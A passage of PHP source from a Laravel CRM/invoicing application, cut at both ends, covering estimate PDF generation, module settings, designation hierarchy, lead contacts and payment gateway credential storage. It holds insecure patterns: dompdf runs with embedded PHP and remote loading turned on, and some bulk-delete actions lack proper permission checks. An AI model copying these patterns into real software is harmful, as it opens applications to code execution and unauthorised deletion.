$this->estimate->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->estimate->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->estimate->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $this->taxes = $taxList; $this->settings = $this->estimate->company; $this->invoiceSetting = invoice_setting(); $pdf = app('dompdf.wrapper'); $pdf->setOption('enable_php', true); $pdf->setOptions(['isHtml5ParserEnabled' => true, 'isRemoteEnabled' => true]); // $pdf->loadView('estimates.pdf.' . $this->invoiceSetting->template, $this->data); $customCss = ''; $pdf->loadHTML($customCss . view('estimates.pdf.' . $this->invoiceSetting->template, $this->data)->render()); $filename = $this->estimate->estimate_number; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function sendEstimate($id) { $estimate = Estimate::findOrFail($id); $estimate->send_status = 1; if ($estimate->status == 'draft') { $estimate->status = 'waiting'; } $estimate->save(); event(new NewEstimateEvent($estimate)); return Reply::success(__('messages.updateSuccess')); } public function changeStatus(Request $request, $id) { $estimate = Estimate::findOrFail($id); $estimate->status = 'canceled'; $estimate->save(); return Reply::success(__('messages.updateSuccess')); } public function acceptModal(Request $request, $id) { return view('estimates.ajax.accept-estimate', ['id' => $id]); } public function accept(EstimateAcceptRequest $request, $id) { DB::beginTransaction(); $estimate = Estimate::with('sign')->findOrFail($id); /** @phpstan-ignore-next-line */ if ($estimate && $estimate->sign) { return Reply::error(__('messages.alreadySigned')); } $accept = new AcceptEstimate(); $accept->full_name = $request->first_name . ' ' . $request->last_name; $accept->estimate_id = $estimate->id; $accept->email = $request->email; $imageName = null; if ($request->signature_type == 'signature') { $image = $request->signature; // your base64 encoded $image = str_replace('data:image/png;base64,', '', $image); $image = str_replace(' ', '+', $image); $imageName = str_random(32) . '.' . 'jpg'; Files::createDirectoryIfNotExist('estimate/accept'); File::put(public_path() . '/' . Files::UPLOAD_FOLDER . '/estimate/accept/' . $imageName, base64_decode($image)); Files::uploadLocalFile($imageName, 'estimate/accept', $estimate->company_id); } else { if ($request->hasFile('image')) { $imageName = Files::uploadLocalOrS3($request->image, 'estimate/accept/', 300); } } $accept->signature = $imageName; $accept->save(); $estimate->status = 'accepted'; $estimate->save(); $invoiceExist = Invoice::where('estimate_id', $estimate->id)->first(); if (is_null($invoiceExist)) { $invoice = new Invoice(); $invoice->client_id = $estimate->client_id; $invoice->issue_date = now($this->company->timezone)->format('Y-m-d'); $invoice->due_date = now($this->company->timezone)->addDays(invoice_setting()->due_after)->format('Y-m-d'); $invoice->sub_total = round($estimate->sub_total, 2); $invoice->discount = round($estimate->discount, 2); $invoice->discount_type = $estimate->discount_type; $invoice->total = round($estimate->total, 2); $invoice->currency_id = $estimate->currency_id; $invoice->note = trim_editor($estimate->note); $invoice->status = 'unpaid'; $invoice->estimate_id = $estimate->id; $invoice->invoice_number = Invoice::lastInvoiceNumber() + 1; $invoice->save(); /** @phpstan-ignore-next-line */ foreach ($estimate->items as $item) : if (!is_null($item)) { InvoiceItems::create( [ 'invoice_id' => $invoice->id, 'item_name' => $item->item_name, 'item_summary' => $item->item_summary ?: '', 'type' => 'item', 'quantity' => $item->quantity, 'unit_price' => round($item->unit_price, 2), 'amount' => round($item->amount, 2), 'taxes' => $item->taxes ] ); } endforeach; // Log search $this->logSearchEntry($invoice->id, $invoice->invoice_number, 'invoices.show', 'invoice'); } DB::commit(); return Reply::redirect(route('estimates.index'), __('messages.estimateSigned')); } public function decline(Request $request, $id) { $estimate = Estimate::findOrFail($id); $estimate->status = 'declined'; $estimate->save(); return Reply::dataOnly(['status' => 'success']); } public function deleteEstimateItemImage(Request $request) { $item = EstimateItemImage::where('estimate_item_id', $request->invoice_item_id)->first(); if ($item) { Files::deleteFile($item->hashname, 'estimate-files/' . $item->id . '/'); $item->delete(); } return Reply::success(__('messages.deleteSuccess')); } public function getclients($id) { $client_data = Product::where('unit_id', $id)->get(); $unitId = UnitType::where('id', $id)->first(); return Reply::dataOnly(['status' => 'success', 'data' => $client_data, 'type' => $unitId]); } public function addItem(Request $request) { $this->items = Product::findOrFail($request->id); $this->invoiceSetting = invoice_setting(); $exchangeRate = Currency::findOrFail($request->currencyId); if (!is_null($exchangeRate) && !is_null($exchangeRate->exchange_rate) && $exchangeRate->exchange_rate > 0) { if ($this->items->total_amount != '') { /** @phpstan-ignore-next-line */ $this->items->price = floor($this->items->total_amount / $exchangeRate->exchange_rate); } else { $this->items->price = floatval($this->items->price) / floatval($exchangeRate->exchange_rate); } } else { if ($this->items->total_amount != '') { $this->items->price = $this->items->total_amount; } } $this->items->price = number_format((float)$this->items->price, 2, '.', ''); $this->taxes = Tax::all(); $this->units = UnitType::all(); $view = view('invoices.ajax.add_item', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'view' => $view]); } } Http/Controllers/ModuleSettingController.php000064400000003210150325104510015321 0ustar00pageTitle = 'app.menu.moduleSettings'; $this->activeSettingMenu = 'module_settings'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_module_setting') == 'all')); return $next($request); }); } public function index() { $tab = request('tab'); $this->modulesData = match ($tab) { 'employee' => ModuleSetting::where('module_name', '<>', 'settings')->where('type', 'employee')->get(), 'client' => ModuleSetting::where('module_name', '<>', 'settings')->where('type', 'client')->get(), default => ModuleSetting::where('module_name', '<>', 'settings')->where('type', 'admin')->get(), }; $this->view = 'module-settings.ajax.modules'; $this->activeTab = $tab ?: 'admin'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'activeTab' => $this->activeTab]); } return view('module-settings.index', $this->data); } public function update(Request $request, $id) { $setting = ModuleSetting::findOrFail($id); $setting->status = $request->status; $setting->save(); return Reply::success(__('messages.updateSuccess')); } } Http/Controllers/DesignationController.php000064400000025062150325104510015013 0ustar00pageTitle = __('app.menu.designation'); $this->middleware(function ($request, $next) { abort_403(!in_array('employees', $this->user->modules)); return $next($request); }); } public function index(DesignationDataTable $dataTable) { $viewPermission = user()->permission('view_designation'); abort_403(!in_array($viewPermission, ['all'])); // get all designations $this->designations = Designation::all(); return $dataTable->render('designation.index', $this->data); } public function create() { $this->designations = Designation::all(); $this->view = 'designation.ajax.create'; if (request()->model == true) { return view('employees.create_designation', $this->data); } if (request()->ajax()) { return $this->returnAjax($this->view); } return view('designation.create', $this->data); } /** * @param StoreRequest $request * @return array */ public function store(StoreRequest $request) { $group = new Designation(); $group->name = $request->name; $group->parent_id = $request->parent_id ? $request->parent_id : null; $group->save(); $redirectUrl = urldecode($request->redirect_url); $this->designations = Designation::all(); if ($redirectUrl == '') { $redirectUrl = route('designations.index'); } return Reply::successWithData(__('messages.recordSaved'), ['designations' => $this->designations, 'redirectUrl' => $redirectUrl]); } public function show($id) { $this->designation = Designation::findOrFail($id); $this->parent = Designation::where('id', $this->designation->parent_id)->first(); $this->view = 'designation.ajax.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('designation.create', $this->data); } public function edit($id) { $this->designation = Designation::findOrFail($id); $designations = Designation::where('id', '!=', $this->designation->id)->get(); $childDesignations = $designations->where('parent_id', $this->designation->id)->pluck('id')->toArray(); $designations = $designations->where('parent_id', '!=', $this->designation->id); // remove child designations $this->designations = $designations->filter(function ($value, $key) use ($childDesignations) { return !in_array($value->parent_id, $childDesignations); }); $this->view = 'designation.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('designation.create', $this->data); } /** * @param UpdateRequest $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateRequest $request, $id) { $editDesignation = user()->permission('edit_designation'); abort_403($editDesignation != 'all'); $group = Designation::findOrFail($id); if($request->parent_id != null) { $parent = Designation::findOrFail($request->parent_id); if($id == $parent->parent_id) { $parent->parent_id = $group->parent_id; $parent->save(); } } $group->name = strip_tags($request->designation_name); $group->parent_id = $request->parent_id ? $request->parent_id : null; $group->save(); $redirectUrl = route('designations.index'); return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => $redirectUrl]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $deletePermission = user()->permission('delete_designation'); abort_403($deletePermission != 'all'); EmployeeDetails::where('designation_id', $id)->update(['designation_id' => null]); $designation = Designation::where('parent_id', $id)->get(); $parent = Designation::findOrFail($id); if(count($designation) > 0) { foreach($designation as $designation) { $child = Designation::findOrFail($designation->id); $child->parent_id = $parent->parent_id; $child->save(); } } Designation::destroy($id); $redirectUrl = route('designations.index'); return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => $redirectUrl]); } public function applyQuickAction(Request $request) { if ($request->action_type === 'delete') { $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); } return Reply::error(__('messages.selectAction')); } protected function deleteRecords($request) { $deletePermission = user()->permission('delete_department'); abort_403($deletePermission != 'all'); $rowIds = explode(',', $request->row_ids); if (($key = array_search('on', $rowIds)) !== false) { unset($rowIds[$key]); } foreach ($rowIds as $id) { EmployeeDetails::where('designation_id', $id)->update(['designation_id' => null]); $designation = Designation::where('parent_id', $id)->get(); $parent = Designation::findOrFail($id); if(count($designation) > 0) { foreach($designation as $designation) { $child = Designation::findOrFail($designation->id); $child->parent_id = $parent->parent_id; $child->save(); } } } Designation::whereIn('id', explode(',', $request->row_ids))->delete(); } public function hierarchyData() { $viewPermission = user()->permission('view_designation'); abort_403($viewPermission != 'all'); $this->pageTitle = 'Designation Hierarchy'; $this->chartDesignations = Designation::get(['id','name','parent_id']); $this->designations = Designation::with('childs')->where('parent_id', null)->get(); if(request()->ajax()) { return Reply::dataOnly(['status' => 'success', 'designations' => $this->designations]); } return view('designations-hierarchy.index', $this->data); } public function changeParent() { $editPermission = user()->permission('edit_designation'); abort_403($editPermission != 'all'); $child_ids = request('values'); $parent_id = request('newParent') ? request('newParent') : request('parent_id'); $designation = Designation::findOrFail($parent_id); // Root node again if(request('newParent') && $designation) { $designation->parent_id = null; $designation->save(); } else if ($designation && $child_ids != '') // update child Node { foreach ($child_ids as $child_id) { $child = Designation::findOrFail($child_id); if ($child) { $child->parent_id = $parent_id; $child->save(); } } } $this->chartDesignations = Designation::get(['id','name','parent_id']); $this->designations = Designation::with('childs')->where('parent_id', null)->get(); $html = view('designations-hierarchy.chart_tree', $this->data)->render(); $organizational = view('designations-hierarchy.chart_organization', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html,'organizational' => $organizational]); } public function searchFilter() { $text = request('searchText'); if($text != '' && strlen($text) > 2) { $searchParent = Designation::with('childs')->where('name', 'like', '%' . $text . '%')->get(); $id = []; foreach($searchParent as $item) { array_push($id, $item->parent_id); } $item = $searchParent->whereIn('id', $id)->pluck('id'); $this->chartDepartments = $searchParent; if($text != '' && !is_null($item)){ foreach($this->chartDepartments as $item){ $item['parent_id'] = null; } } $parent = array(); foreach($this->chartDepartments as $designation) { array_push($parent, $designation->id); if ($designation->childs) { $this->child($designation->childs); } } $this->children = Designation::whereIn('id', $this->arr)->get(['id','name','parent_id']); $this->parents = Designation::whereIn('id', $parent)->get(['id','name']); $this->chartDesignations = $this->parents->merge($this->children); $this->designations = Designation::with('childs') ->where('name', 'like', '%' . $text . '%') ->get(); } else { $this->chartDesignations = Designation::get(['id','name','parent_id']); $this->designations = Designation::with('childs')->where('parent_id', null)->get(); } $html = view('designations-hierarchy.chart_tree', $this->data)->render(); $organizational = view('designations-hierarchy.chart_organization', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html,'organizational' => $organizational]); } public function child($child) { foreach($child as $item) { array_push($this->arr, $item->id); if ($item->childs) { $this->child($item->childs); } } } } Http/Controllers/LeadContactController.php000064400000042723150325104510014733 0ustar00pageTitle = 'modules.leadContact.leadContacts'; $this->middleware(function ($request, $next) { abort_403(!in_array('leads', $this->user->modules)); return $next($request); }); } public function index(LeadContactDataTable $dataTable) { $this->destroySession(); $this->viewLeadPermission = $viewPermission = user()->permission('view_lead'); abort_403(!in_array($viewPermission, ['all','added','owned','both'])); if (!request()->ajax()) { $this->categories = LeadCategory::get(); $this->sources = LeadSource::get(); $this->employees = User::allEmployees(null, 'active'); } return $dataTable->render('lead-contact.index', $this->data); } public function show($id) { $this->leadContact = Lead::findOrFail($id)->withCustomFields(); $this->viewPermission = user()->permission('view_lead'); abort_403(!in_array($this->viewPermission, ['all','added','owned','both'])); $this->pageTitle = $this->leadContact->client_name_salutation; $this->categories = LeadCategory::all(); $this->leadFormFields = LeadCustomForm::with('customField')->where('status', 'active')->where('custom_fields_id', '!=', 'null')->get(); $this->leadId = $id; $getCustomFieldGroupsWithFields = $this->leadContact->getCustomFieldGroupsWithFields(); if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->editLeadPermission = user()->permission('edit_lead'); $this->deleteLeadPermission = user()->permission('delete_lead'); $tab = request('tab'); switch ($tab) { case 'deal': return $this->deals(); case 'notes': return $this->notes(); default: $this->view = 'lead-contact.ajax.profile'; break; } if (request()->ajax()) { return $this->returnAjax($this->view); } $this->activeTab = $tab ?: 'profile'; return view('lead-contact.show', $this->data); } public function notes() { $dataTable = new LeadNotesDataTable(); $viewPermission = user()->permission('view_deals'); abort_403(!($viewPermission == 'all' || $viewPermission == 'added' || $viewPermission == 'both')); $tab = request('tab'); $this->activeTab = $tab ?: 'profile'; $this->view = 'lead-contact.ajax.notes'; return $dataTable->render('lead-contact.show', $this->data); } public function deals() { $viewPermission = user()->permission('view_deals'); abort_403(!in_array($viewPermission, ['all', 'added', 'both', 'owned'])); $tab = request('tab'); $this->pipelines = LeadPipeline::all(); $defaultPipeline = $this->pipelines->filter(function ($value, $key) { return $value->default == 1; })->first(); $this->stages = PipelineStage::where('lead_pipeline_id', $defaultPipeline->id)->get(); $this->activeTab = $tab ?: 'profile'; $this->view = 'lead-contact.ajax.deal'; $dataTable = new DealsDataTable(); return $dataTable->render('lead-contact.show', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->pageTitle = __('modules.leadContact.createTitle'); $this->addPermission = user()->permission('add_lead'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->employees = User::allEmployees(null, true); $defaultStatus = LeadStatus::where('default', '1')->first(); $this->columnId = request('column_id') ?: $defaultStatus->id; $this->leadAgents = LeadAgent::whereHas('user', function ($q) { $q->where('status', 'active'); })->with('user')->get(); $this->leadAgentArray = $this->leadAgents->pluck('user_id')->toArray(); if ((in_array(user()->id, $this->leadAgentArray))) { $this->myAgentId = $this->leadAgents->filter(function ($value, $key) { return $value->user_id == user()->id; })->first()->id; } $leadContact = new Lead(); $getCustomField = $leadContact->getCustomFieldGroupsWithFields(); if ($getCustomField) { $this->fields = $getCustomField->fields; } $this->sources = LeadSource::all(); $this->categories = LeadCategory::all(); $this->countries = countries(); $this->salutations = Salutation::cases(); // To create deal from lead $this->leadPipelines = LeadPipeline::orderBy('default', 'DESC')->get(); $this->leadStages = PipelineStage::all(); $this->leadAgentArray = $this->leadAgents->pluck('user_id')->toArray(); $this->products = Product::all(); $this->view = 'lead-contact.ajax.create'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('lead-contact.create', $this->data); } /** * @param StoreRequest $request * @return array|void * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreRequest $request) { $this->addPermission = user()->permission('add_lead'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $existingUser = User::select('id') ->whereHas('roles', function ($q) { $q->where('name', 'client'); })->where('company_id', company()->id) ->where('email', $request->client_email) ->whereNotNull('email') ->first(); $leadContact = new Lead(); $leadContact->company_id = company()->id; $leadContact->salutation = $request->salutation; $leadContact->client_name = $request->client_name; $leadContact->client_email = $request->client_email; $leadContact->note = trim_editor($request->note); $leadContact->source_id = $request->source_id; $leadContact->client_id = $existingUser?->id; $leadContact->lead_owner = $request->lead_owner; $leadContact->company_name = $request->company_name; $leadContact->website = $request->website; $leadContact->address = $request->address; $leadContact->cell = $request->cell; $leadContact->office = $request->office; $leadContact->city = $request->city; $leadContact->state = $request->state; $leadContact->country = $request->country; $leadContact->postal_code = $request->postal_code; $leadContact->mobile = $request->mobile; if ($request->has('create_deal') && $request->create_deal == 'on') { Session::put('create_deal_with_lead', true); Session::put('deal_name', $request->name); } $leadContact->save(); if ($request->has('create_deal') && $request->create_deal == 'on') { $this->storeDeal($request, $leadContact); } // To add custom fields data if ($request->custom_fields_data) { $leadContact->updateCustomFieldData($request->custom_fields_data); } // Log search $this->logSearchEntry($leadContact->id, $leadContact->client_name, 'lead-contact.show', 'lead'); if ($leadContact->client_email) { $this->logSearchEntry($leadContact->id, $leadContact->client_name, 'lead-contact.show', 'lead'); } $redirectUrl = urldecode($request->redirect_url); if ($request->add_more == 'true') { $html = $this->create(); return Reply::successWithData(__('messages.recordSaved'), ['html' => $html, 'add_more' => true]); } if ($redirectUrl == '') { $redirectUrl = route('lead-contact.index'); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl]); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->leadContact = Lead::with('leadSource', 'category')->findOrFail($id)->withCustomFields(); $this->editPermission = user()->permission('edit_lead'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->leadContact->added_by == user()->id) || ($this->editPermission == 'owned' && $this->leadContact->lead_owner == user()->id) || ($this->editPermission == 'both' && $this->leadContact->added_by == user()->id) || user()->id == $this->leadContact->lead_owner) ); $this->leadAgents = LeadAgent::with('user')->whereHas('user', function ($q) { $q->where('status', 'active'); })->get(); $getCustomFieldGroupsWithFields = $this->leadContact->getCustomFieldGroupsWithFields(); $this->employees = User::allEmployees(); $activeEmployees = $this->employees->filter(function ($employee) { return $employee->status !== 'deactive'; }); $selectedEmployee = $this->employees->firstWhere('id', $this->leadContact->lead_owner); if ($selectedEmployee && $selectedEmployee->status === 'deactive') { $this->employees = $activeEmployees->push($selectedEmployee); } else { $this->employees = $activeEmployees; } if ($getCustomFieldGroupsWithFields) { $this->fields = $getCustomFieldGroupsWithFields->fields; } $this->sources = LeadSource::all(); $this->categories = LeadCategory::all(); $this->countries = countries(); $this->pageTitle = __('modules.leadContact.updateTitle'); $this->salutations = Salutation::cases(); if (request()->ajax()) { $html = view('lead-contact.ajax.edit', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'lead-contact.ajax.edit'; return view('lead-contact.create', $this->data); } /** * @param UpdateRequest $request * @param int $id * @return array|void * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateRequest $request, $id) { $leadContact = Lead::findOrFail($id); $this->editPermission = user()->permission('edit_lead'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $leadContact->added_by == user()->id) || ($this->editPermission == 'owned' && $leadContact->lead_owner == user()->id) || ($this->editPermission == 'both' && $leadContact->added_by == user()->id) || user()->id == $leadContact->lead_owner) ); $leadContact->salutation = $request->salutation; $leadContact->client_name = $request->client_name; $leadContact->client_email = $request->client_email; $leadContact->note = trim_editor($request->note); $leadContact->source_id = $request->source_id; $leadContact->lead_owner = $request->lead_owner; $leadContact->category_id = $request->category_id; $leadContact->company_name = $request->company_name; $leadContact->website = $request->website; $leadContact->address = $request->address; $leadContact->cell = $request->cell; $leadContact->office = $request->office; $leadContact->city = $request->city; $leadContact->state = $request->state; $leadContact->country = $request->country; $leadContact->postal_code = $request->postal_code; $leadContact->mobile = $request->mobile; $leadContact->save(); // To add custom fields data if ($request->custom_fields_data) { $leadContact->updateCustomFieldData($request->custom_fields_data); } return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('lead-contact.index')]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $leadContact = Lead::findOrFail($id); $this->deletePermission = user()->permission('delete_lead'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $leadContact->added_by == user()->id) || ($this->deletePermission == 'owned' && $leadContact->lead_owner == user()->id) || ($this->deletePermission == 'both' && $leadContact->added_by == user()->id) || user()->id == $leadContact->lead_owner) ); Lead::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function applyQuickAction(Request $request) { Lead::whereIn('id', explode(',', $request->row_ids))->delete(); return Reply::success(__('messages.deleteSuccess')); } public function importLead() { $this->pageTitle = __('app.importExcel') . ' ' . __('app.menu.lead'); $this->addPermission = user()->permission('add_lead'); abort_403(!in_array($this->addPermission, ['all', 'added'])); if (request()->ajax()) { $html = view('leads.ajax.import', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'leads.ajax.import'; return view('leads.create', $this->data); } public function importStore(ImportRequest $request) { $rvalue = $this->importFileProcess($request, LeadImport::class); if($rvalue == 'abort'){ return Reply::error(__('messages.abortAction')); } $view = view('leads.ajax.import_progress', $this->data)->render(); return Reply::successWithData(__('messages.importUploadSuccess'), ['view' => $view]); } public function importProcess(ImportProcessRequest $request) { $batch = $this->importJobProcess($request, LeadImport::class, ImportLeadJob::class); return Reply::successWithData(__('messages.importProcessStart'), ['batch' => $batch]); } public function destroySession(){ if (session()->has('is_imported')) { session()->forget('is_imported'); } if (session()->has('leads')) { session()->forget('leads'); } if (session()->has('leads_count')) { session()->forget('leads_count'); } if(session()->has('total_leads')) { session()->forget('total_leads'); } if(session()->has('create_deal_with_lead')) { session()->forget('create_deal_with_lead'); } if(session()->has('deal_name')) { session()->forget('deal_name'); } if(session()->has('duplicate_leads')) { session()->forget('duplicate_leads'); } } public function storeDeal($request, $leadContact) { $this->addPermission = user()->permission('add_deals'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $agentId = null; if (!is_null($request->agent_id)) { $leadAgent = LeadAgent::where('user_id', $request->agent_id)->where('lead_category_id', $request->category_id)->first(); $agentId = isset($leadAgent) ? $leadAgent->id : null; } $deal = new Deal(); $deal->name = $request->name; $deal->lead_id = $leadContact->id; $deal->next_follow_up = 'yes'; $deal->category_id = $request->category_id; $deal->deal_watcher = $request->deal_watcher; $deal->lead_pipeline_id = $request->pipeline; $deal->pipeline_stage_id = $request->stage_id; $deal->agent_id = $agentId; $deal->close_date = companyToYmd($request->close_date); $deal->value = ($request->value) ?: 0; $deal->currency_id = $this->company->currency_id; $deal->save(); if (!is_null($request->product_id)) { $products = $request->product_id; foreach ($products as $product) { $leadProduct = new LeadProduct(); $leadProduct->deal_id = $deal->id; $leadProduct->product_id = $product; $leadProduct->save(); } } } } Http/Controllers/PaymentGatewayCredentialController.php000064400000025307150325104510017503 0ustar00pageTitle = 'app.menu.paymentGatewayCredential'; $this->activeSettingMenu = 'payment_gateway_settings'; $this->middleware(function ($request, $next) { abort_403(user()->permission('manage_payment_setting') !== 'all'); return $next($request); }); } public function index() { $this->credentials = PaymentGatewayCredentials::first(); $this->offlineMethods = OfflinePaymentMethod::all(); $this->currencies = Currency::all(); $this->updateRoute = route('payment-gateway-settings.update', [$this->credentials->id]); $hash = $this->company->hash; $tab = request('tab'); // TODO: to be removed in future updates $this->fixPayloadMismatch($this->credentials); switch ($tab) { case 'stripe': $this->webhookRoute = route('stripe.webhook', [$hash]); $this->view = 'payment-gateway-settings.ajax.stripe'; break; case 'razorpay': $this->webhookRoute = route('razorpay.webhook', [$hash]); $this->view = 'payment-gateway-settings.ajax.razorpay'; break; case 'paystack': $this->webhookRoute = route('paystack.webhook', [$hash]); $this->view = 'payment-gateway-settings.ajax.paystack'; break; case 'flutterwave': $this->webhookRoute = route('flutterwave.webhook', [$hash]); $this->view = 'payment-gateway-settings.ajax.flutterwave'; break; case 'mollie': $this->view = 'payment-gateway-settings.ajax.mollie'; break; case 'payfast': $this->view = 'payment-gateway-settings.ajax.payfast'; break; case 'authorize': $this->view = 'payment-gateway-settings.ajax.authorize'; break; case 'square': $this->webhookRoute = route('square.webhook', [$hash]); $this->view = 'payment-gateway-settings.ajax.square'; break; case 'offline': $this->view = 'payment-gateway-settings.ajax.offline'; break; default: $this->webhookRoute = route('paypal.webhook', [$hash]); $this->view = 'payment-gateway-settings.ajax.paypal'; break; } $this->activeTab = $tab ?: 'paypal'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('payment-gateway-settings.index', $this->data); } /** * @throws \Illuminate\Auth\Access\AuthorizationException * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateGatewayCredentials $request, $id) { $credential = PaymentGatewayCredentials::findOrFail($id); $method = $request->payment_method; switch ($method) { case 'stripe': $this->stripe($request, $credential); break; case 'razorpay': $this->razorpay($request, $credential); break; case 'paystack': $this->paystack($request, $credential); break; case 'flutterwave': $this->flutterwave($request, $credential); break; case 'mollie': $this->mollie($request, $credential); break; case 'payfast': $this->payfast($request, $credential); break; case 'authorize': $this->authorizeSave($request, $credential); break; case 'square': $this->square($request, $credential); break; default: $this->paypal($request, $credential); break; } $credential->save(); return Reply::success(__('messages.updateSuccess')); } private function paypal($request, $credential) { if ($request->payment_method == 'paypal') { $credential->paypal_mode = $request->paypal_mode; if ($request->paypal_mode == 'sandbox') { $credential->sandbox_paypal_client_id = $request->sandbox_paypal_client_id; $credential->sandbox_paypal_secret = $request->sandbox_paypal_secret; } else { $credential->paypal_client_id = $request->live_paypal_client_id; $credential->paypal_secret = $request->live_paypal_secret; } $credential->paypal_status = $request->paypal_status ? 'active' : 'deactive'; } } private function stripe($request, $credential) { if ($request->stripe_mode == 'test') { $credential->test_stripe_client_id = $request->test_stripe_client_id; $credential->test_stripe_secret = $request->test_stripe_secret; $credential->test_stripe_webhook_secret = $request->test_stripe_webhook_secret; } else { $credential->live_stripe_client_id = $request->live_stripe_client_id; $credential->live_stripe_secret = $request->live_stripe_secret; $credential->live_stripe_webhook_secret = $request->live_stripe_webhook_secret; } $credential->stripe_mode = $request->stripe_mode; $credential->stripe_status = ($request->stripe_status) ? 'active' : 'deactive'; } private function razorpay($request, $credential) { if ($request->razorpay_mode == 'test') { $credential->test_razorpay_key = $request->test_razorpay_key; $credential->test_razorpay_secret = $request->test_razorpay_secret; $credential->test_razorpay_webhook_secret = $request->test_razorpay_webhook_secret; } else { $credential->live_razorpay_key = $request->live_razorpay_key; $credential->live_razorpay_secret = $request->live_razorpay_secret; $credential->live_razorpay_webhook_secret = $request->live_razorpay_webhook_secret; } $credential->razorpay_mode = $request->razorpay_mode; $credential->razorpay_status = ($request->razorpay_status) ? 'active' : 'inactive'; } private function paystack($request, $credential) { $credential->paystack_mode = $request->paystack_mode; $credential->paystack_key = $request->paystack_key; $credential->paystack_secret = $request->paystack_secret; $credential->paystack_merchant_email = $request->paystack_merchant_email; $credential->test_paystack_key = $request->test_paystack_key; $credential->test_paystack_secret = $request->test_paystack_secret; $credential->test_paystack_merchant_email = $request->test_paystack_merchant_email; $credential->paystack_status = ($request->paystack_status) ? 'active' : 'deactive'; } private function mollie($request, $credential) { $credential->mollie_api_key = $request->mollie_api_key; $credential->mollie_status = ($request->mollie_status) ? 'active' : 'deactive'; } private function payfast($request, $credential) { if ($request->payfast_mode == 'sandbox') { $credential->test_payfast_merchant_id = $request->test_payfast_merchant_id; $credential->test_payfast_merchant_key = $request->test_payfast_merchant_key; $credential->test_payfast_passphrase = $request->test_payfast_passphrase; } else { $credential->payfast_merchant_id = $request->payfast_merchant_id; $credential->payfast_merchant_key = $request->payfast_merchant_key; $credential->payfast_passphrase = $request->payfast_passphrase; } $credential->payfast_mode = $request->payfast_mode; $credential->payfast_status = ($request->payfast_status) ? 'active' : 'deactive'; } private function authorizeSave($request, $credential) { $credential->authorize_api_login_id = $request->authorize_api_login_id; $credential->authorize_transaction_key = $request->authorize_transaction_key; $credential->authorize_environment = $request->authorize_environment; $credential->authorize_status = $request->authorize_status ? 'active' : 'deactive'; } private function square($request, $credential) { $credential->square_application_id = $request->square_application_id; $credential->square_access_token = $request->square_access_token; $credential->square_location_id = $request->square_location_id; $credential->square_environment = $request->square_environment; $credential->square_status = $request->square_status ? 'active' : 'deactive'; } private function flutterwave($request, $credential) { $credential->test_flutterwave_key = $request->test_flutterwave_key; $credential->test_flutterwave_secret = $request->test_flutterwave_secret; $credential->test_flutterwave_hash = $request->test_flutterwave_hash; $credential->live_flutterwave_key = $request->live_flutterwave_key; $credential->live_flutterwave_secret = $request->live_flutterwave_secret; $credential->live_flutterwave_hash = $request->live_flutterwave_hash; $credential->flutterwave_mode = $request->flutterwave_mode; $credential->flutterwave_webhook_secret_hash = $request->flutterwave_webhook_secret_hash; $credential->flutterwave_status = $request->flutterwave_status ? 'active' : 'deactive'; } public function fixPayloadMismatch($gateway) { $casts = (new PaymentGatewayCredentials())->getCasts(); // Filter out the encrypted fields $encryptedFields = array_keys(array_filter($casts, function ($value) { return $value === 'encrypted'; })); try { // Attempt to access each encrypted field to check for decryption issues foreach ($encryptedFields as $field) { $gateway->$field; } } catch (DecryptException $e) { // If a decryption error occurs, set each encrypted field to null // when we get message like below set as null or o // The MAC is invalid. // The payload is invalid. foreach ($encryptedFields as $field) { $gateway->$field = null; } // Save the credentials after setting 